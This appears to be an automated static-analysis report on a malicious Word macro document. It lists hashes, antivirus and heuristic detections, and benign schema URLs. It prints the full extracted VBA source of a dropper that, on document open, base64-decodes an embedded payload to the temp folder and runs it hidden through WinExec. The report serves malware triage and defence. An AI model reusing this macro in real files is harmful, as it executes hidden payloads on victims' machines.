Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d9582cf85254b974…

MALICIOUS

Office (OOXML)

29.6 KB Created: 2021-03-29 04:05:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-10
MD5: 7e1191097b184a93256684820bde1d6b SHA-1: e2b3847ecebb4a821e070b31808980b39a3449a6 SHA-256: d9582cf85254b9743f65d4771abba5278ca715486afb5e6dcb18153cb5c93400
200 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.EmbeddedBase64Exe-9865902-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmbeddedBase64Exe-9865902-1
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set yui = CreateObject("Microsoft.XMLDOM")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    vbn = Enco(Environ("temp") & UserForm1.Caption, UserForm1.TextBox1.Value)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1383 bytes
SHA-256: 90198f6223efee1bca45d8026ea1c8c726cbe1c9a6a643857128d71476583daf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function WinExec Lib "kernel32" _
(ByVal lpCmeLine As String, ByVal nCmdShow As Long) As Long
Private Const SW_HIDE As Long = 0
Private Sub Document_Open()
On Error Resume Next
Dim tx As String
tx = UserForm1.Caption
MsgBox tx

vbn = Enco(Environ("temp") & UserForm1.Caption, UserForm1.TextBox1.Value)
WinExec Environ("temp") & UserForm1.Caption, SW_HIDE
End Sub
Private Function Enco(ghj, bnm)

Set yui = CreateObject("Microsoft.XMLDOM")
Set ert = yui.createElement("tmp")
ert.DataType = "bin.base64"
ert.Text = bnm

Dim qw
Dim a As Integer: a = 2
Set qw = CreateObject("ADODB.Stream")
qw.Type = 1
qw.Open
qw.Write ert.NodeTypedValue
qw.SaveToFile ghj, a
End Function

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{763FB392-949C-4412-BC5B-0E8A8942C228}{06F856A8-3ECE-435A-AE55-64E64E8EDC78}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub TextBox1_Change()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 56320 bytes
SHA-256: eadf304070a59363fed3324ec536586e2119f0bc4038e2cdf96256cbdc4b2ca3
Detection
ClamAV: Doc.Dropper.EmbeddedBase64Exe-9865902-1
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).